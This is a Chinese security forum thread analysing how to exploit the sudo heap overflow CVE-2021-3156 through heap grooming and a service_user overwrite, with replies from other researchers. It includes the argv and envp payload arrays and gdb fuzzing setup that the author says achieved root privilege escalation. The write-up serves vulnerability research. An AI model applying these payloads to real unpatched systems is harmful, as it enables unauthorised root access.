首页
论坛
课程
招聘
[讨论] CVE-2021-3156 SUDO漏洞--溢出前的堆布局
2021-2-7 21:52 5389

[讨论] CVE-2021-3156 SUDO漏洞--溢出前的堆布局

2021-2-7 21:52
5389

背景

发现有漏洞的PoC放出来后就想试试,但是在我自己的ubuntu 20.04.1的环境里blasty、locked的脚本都执行不成功,于是开始自己根据qualys分享的txt来尝试构造poc。
一番折腾后复现成功,也发现了大佬们代码在我环境中执行不成功的原因。感觉这个洞想要写出通用的exp还是得花些功夫的。 特此记录下分析过程,也想和各位师傅共同探讨可行的构造方式。

漏洞分析

漏洞的具体分析网上很多了,因此不多赘述,仅总结几点结论:

  1. 触发溢出的方式为使用-s命令并在参数末尾添加反斜杠\, 即sudoedit -s args\
  2. 可以通过argv中-s后参数的长度控制发生溢出的堆块大小,申请的堆块大小即为参数长度。 例如sudoedit -s 123456782234567\, 则会申请0x10的堆块(实际大小0x20)并溢出
  3. 可以通过envp中的内容控制溢出后的长度和内容。例子借qualys中的分析说明如下。

多啰嗦一句,看到有些曝光的PoC中argv每个参数结尾都有反斜杠,这样会发生“循环溢出”,即argv中的内容也写入溢出后的内存中,且env的内容会写入多次。例如env -i aaaa\ bbb sudoedit -s 123\ 456\, 则实际写入内存中的数据为123.456.aaaa.bbb.456.aaaa.bbb

利用分析

总体思路

由于sudo有setuid且属于root用户,于是只要能劫持sudo的控制流那就是以root权限在运行代码,包括新启一个shell。因此大思路很明确:通过一次堆溢出绕过所有防御并执行代码。

 

qualys给出了三种利用方式,其中第二种(struct service_user overwrite)相对比较稳定,无需爆破,下面主要分析通过此种方法进行利用时的堆布局。
我在我的小破笔记本上参照lockedbyte的fuzz脚本进行测试,一共运行了三天,仅在第一天触发了nss_load_library的崩溃,qualys提到的另两种崩溃都没有发生。其实fuzz脚本是有一些优化空间的,因为有一个能用的样本所以也就懒得改了。

 

fuzz出的构造如下

1
2
3
4
5
6
7
8
9
10
11
12
file /usr/bin/sudoedit
set env LC_TELEPHONE C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ
set env LC_NUMERIC C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE
set env AgvAS AKz0\
set env A AkzE\
set env A1mPq An\
 
set pagination off
--s 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
i r
x/i $pc
q

根据前面的漏洞分析,将样本改造为如下结构便于控制和分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *s_argv[]={
 "/usr/bin/sudoedit",
  "-s",
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
 "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\",
 NULL
};
 
char *s_envp[]={
 "B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
 "LC_TELEPHONE=C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ",
 "LC_NUMERIC=C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE",
 NULL
};

崩溃分析

利用原理qualys的分析文章说的比较清楚了,大致总结就是覆盖service_user结构体中的library成员为NULL,nameX/X,则会加载libnss_X/X.so.2并执行_init()构造函数。崩溃发生是因为library被覆盖为了非空。
接下来重点看一下崩溃发生前的布局时如何形成的。
先看下两个相关的结构体,service_user(后面简称user)和name_database_entry(下文简称entry),定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;
 
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object*/
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

在溢出发生前,__nss_database_lookup2()函数会读取/etc/nsswitch.conf中的内容并构造相关对象。不贴代码了,跟着调试几遍就能看出来,这里直接给出结论。以我本地环境为例,文件中内容如下:

1
2
3
passwd:         files systemd
group:          files systemd
....

进入__nss_database_lookup2()前的空闲链表情况如下

接下来函数会进行如下堆分配:

  1. 0x1e0 (fopen, 从tcache取)
  2. 0x20 (entry, 从tcache取))
  3. 0x80 (buffer in getline(), 从unsortedbin取。此即为我们要发生溢出的chunk )
  4. 0x1010 (file buffer, 从topchunk取。此时上一步切割的chunk会进入largebin)
  5. 0x20(entry, passwd) 0x40(user, files) 0x40(user, systemd) 都去切割smallbin大小为0xc0的chunk
  6. 0x20(entry, group, 将最初smallbin中0xc0的chunk最后一点拿走) 0x40(user, files,从largebin取,紧挨着第三步的chunk,此即为溢出要覆盖的对象) 0x40(user, systemd)

...
A1: 文件读取完后会free第三步中0x80的chunk去tcache。
A2: 一些代码后,在set_cmnd中分配得到0x80的chunk并溢出。
A3: 当调用nss_load_library且参数为我们溢出覆盖的那个user结构体时,劫持完成。
按照利用思路修改envp如下,完成利用。

1
2
3
4
5
6
7
8
char *s_envp[]={
 "B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\\",
 "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
 "X/shell","\\",
 "LC_TELEPHONE=C.UTF-8@Aa3QLwXb3PJLmiDQinnGV9WSiGrxWfRd04R1I2kOLtQyEvuehEJTM7yffnSZwxBdlOaevjyiYbA0wUMP7oPZ",
 "LC_NUMERIC=C.UTF-8@AwuefJrxO4MZdmyVPaVPYnPNVkMkkTZSKDmPTTYlKbE",
 NULL
};

踩的一个坑

我是通过sudo gdb启动程序进行调试分析的,也的确利用成功了。但当我切换为普通用户去尝试时,发现利用失败了·· 但是使用sudo运行利用程序,成功了!!要sudo运行还是个什么提权利用??
好一番折腾后,发现是因为在完成上述A1步骤后A2步骤前,程序会进入sudo.c中get_user_groups函数,并执行如下代码(MAX_UID_T_LEN =10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
417 static char *
418 get_user_groups(struct user_details *ud)
419 {
       ...
 
431
432         if ((ud->ngroups = getgroups(0, NULL)) > 0) {
           ....}
461     /*
462      * Format group list as a comma-separated string of gids.
463      */
464     glsize = sizeof("groups=") - 1 + (ud->ngroups * (MAX_UID_T_LEN + 1));
465     if ((gid_list = malloc(glsize)) == NULL)
 
   }

好巧不巧,我本地user的属于9个组,于是预留的0x80的chunk就被分配给了gid_list··
新建了个用户,利用成功。

利用总结

回过头来看,初次进入__nss_database_lookup2时的空闲链表状态是完成利用的关键,要求使得溢出chunk和user结构体chunk距离不远且中间的数据被覆盖也不会影响程序执行(最理想的是紧邻或均为freed chunk)。
根据qualys给出的提示,在程序最除运行时,会调用setlocale();而setlocale会分配并释放一些LC环境变量,因此可以在堆靠前的位置制造一些freed chunk, 例如使用LC_ALL可以构造一个其长度大小的bin出来。我一直没有找到稳定的构造方式,当然在整个过程中涉及许多堆的操作,在不同环境也可能会遇到其他问题。希望能和各位师傅一起交流研究。


[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 2021-2-7 21:55 被superyhl编辑 ,原因: 图挂了
收藏
点赞1
打赏
分享
最新回复 (6)
雪    币: 1755
活跃值: 活跃值 (397)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
残废小菜比 活跃值 2021-2-8 00:25
2
0
总感觉这个洞子受影响版本没那么多,目前看到的所有exp只有ubuntu跟debian 10  。redhat,centos这俩好像并不影响
雪    币: 671
活跃值: 活跃值 (1085)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
暗香沉浮 活跃值 2 2021-2-8 09:13
3
0
就是使用 setlocale ,影响挺大的。
雪    币: 5920
活跃值: 活跃值 (12196)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
ScUpax0s 活跃值 11 2021-2-8 12:44
4
0
我之前写了个gdb脚本来fuzz,总的来说利用就难在怎么通过调整环境变量fuzz出nss_load那个位置的崩溃……感觉挺碰运气的…
雪    币: 254
活跃值: 活跃值 (67)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hacker一疒亻 活跃值 2021-2-9 09:26
5
0
blasty、locked的脚本——可否给个链接?
雪    币: 254
活跃值: 活跃值 (67)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hacker一疒亻 活跃值 2021-2-9 09:26
6
0
ScUpax0s 我之前写了个gdb脚本来fuzz,总的来说利用就难在怎么通过调整环境变量fuzz出nss_load那个位置的崩溃……感觉挺碰运气的…
这个gdb脚本及文件可否分享一下?
雪    币: 254
活跃值: 活跃值 (67)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hacker一疒亻 活跃值 2021-2-9 10:32
7
0
hacker一疒亻 blasty、locked的脚本——可否给个链接?
已找到
游客
登录 | 注册 方可回帖
返回